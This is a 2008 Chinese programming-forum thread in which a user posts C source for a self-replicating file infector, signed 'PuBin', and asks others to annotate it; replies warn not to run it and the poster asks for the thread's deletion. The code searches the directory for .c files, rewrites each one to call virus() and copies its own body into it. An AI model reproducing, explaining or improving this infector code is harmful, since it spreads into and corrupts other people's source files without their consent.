| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1579 人关注过本帖, 2 人收藏
标题:你能注释吗》
只看楼主 加入收藏
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
收藏(2)
 问题点数:0 回复次数:12 
你能注释吗》
#include <stdio.h>  
#include <dir.h>  
void main(void)  
{  
virus();  
}  
int virus()  
{  
struct ffblk ffblk;  
FILE *in,*out,*read;  
char *virus="virus.c";  
char buf[50][80];  
char *p;  
char *end="return";  
char *bracket="}";  
char *main="main";  
char *include[2]={"stdio.h","dir.h"};  
char *int_virus="int virus()";  
char *buffer;  
int done,i,j=0,flag=0;  
printf("\nI have a virus. Writen by PuBin\n");  
done = findfirst("*.c",&ffblk,0);  
while (!done)  
{  
i=0;  
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)  
{  
goto next;  
}  
do{  
    if(i>=50)  
    {  
fclose(in);  
goto next;  
    }  
    p=fgets(buf[i],80,in);  
    i++;  
   }while(p!=NULL);  
   fclose(in);  
   out=fopen(ffblk.ff_name,"w+t");  
   fputs("#include<stdio.h>\n",out);  
   fputs("#include<dir.h>\n",out);  
do  
{  
  if(strstr(buf[j],main)!=NULL)  
  {  
   for(;j<i-1;j++)  
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)  
   fputs(buf[j],out);  
   else  
   {  
    if(flag==0)  
    {  
flag=1;  
fputs("virus();\n",out);  
    }  
    fputs(buf[j],out);  
   }  
}  
else if((strstr(buf[j],include[0])==NULL)  
&&(strstr(buf[j],include[1])==NULL))  
{  
fputs(buf[j],out);  
j++;  
}  
else  
j++;  
}while(j<i-1);  
read=fopen(virus,"rt");  
do  
{  
p=fgets(buffer,80,read);  
if(strstr(buffer,int_virus))  
while(p!=NULL)  
{  
  if(strstr(buffer,virus)==NULL)  
  fputs(buffer,out);  
  else  
  {  
                fputs(" char *virus=\"",out);  
fputs(ffblk.ff_name,out);  
        fputs("\";\n",out);  
}  
p=fgets(buffer,80,read);  
}  
}while(p!=NULL);  

fclose(read);  
fclose(out);  
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);  
next: done = findnext(&ffblk);  
}  
return 0;  
}
搜索更多相关主题的帖子: char virus 注释 int 
2008-05-06 23:12
sunkaidong
Rank: 4
来 自:南京师范大学
等 级:贵宾
威 望:12
帖 子:4496
专家分:141
注 册:2006-12-28
收藏
得分:0 
你不会是从拿搞来的病毒吧?没仔细看..哦恨写病毒的...我机器中毒了...资料都没了..还有和别人说下..不要运行.要不会中毒的

[[it] 本帖最后由 sunkaidong 于 2008-5-6 23:17 编辑 [/it]]

学习需要安静。。海盗要重新来过。。
2008-05-06 23:14
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
收藏
得分:0 
。。
是病毒。怎么了?

<接受者>? or <创造者>?
2008-05-06 23:16
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
收藏
得分:0 
研究下,没叫你做坏事

<接受者>? or <创造者>?
2008-05-06 23:16
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
收藏
得分:0 
没那么严重吧
 对不起了 大家,赶快删除这个帖子吧  管理员

<接受者>? or <创造者>?
2008-05-06 23:20
moonwalker
Rank: 1
等 级:新手上路
威 望:1
帖 子:909
专家分:2
注 册:2007-3-2
收藏
得分:0 
virus();  
主函数已经明说是病毒了。。。

“视频教程网”免费提供教学资源
C不限制你的自由!
条件是自己承担滥用自由的恶果!
2008-05-06 23:22
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
收藏
得分:0 
virus()  解释下.

<接受者>? or <创造者>?
2008-05-06 23:23
moonwalker
Rank: 1
等 级:新手上路
威 望:1
帖 子:909
专家分:2
注 册:2007-3-2
收藏
得分:0 
病毒。。。

“视频教程网”免费提供教学资源
C不限制你的自由!
条件是自己承担滥用自由的恶果!
2008-05-06 23:25
hjh10845
Rank: 1
来 自:火星
等 级:新手上路
帖 子:104
专家分:0
注 册:2008-3-31
收藏
得分:0 
...这个病毒是实现自我复制..从而占用大量系统内存?

<接受者>? or <创造者>?
2008-05-06 23:27
PcrazyC
Rank: 6Rank: 6
等 级:贵宾
威 望:29
帖 子:5652
专家分:0
注 册:2006-10-20
收藏
得分:0 
干嘛要删呢,看看也不错,明天看,今天太累了

雁无留踪之意,水无取影之心
2008-05-06 23:29
快速回复:你能注释吗》
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.041642 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved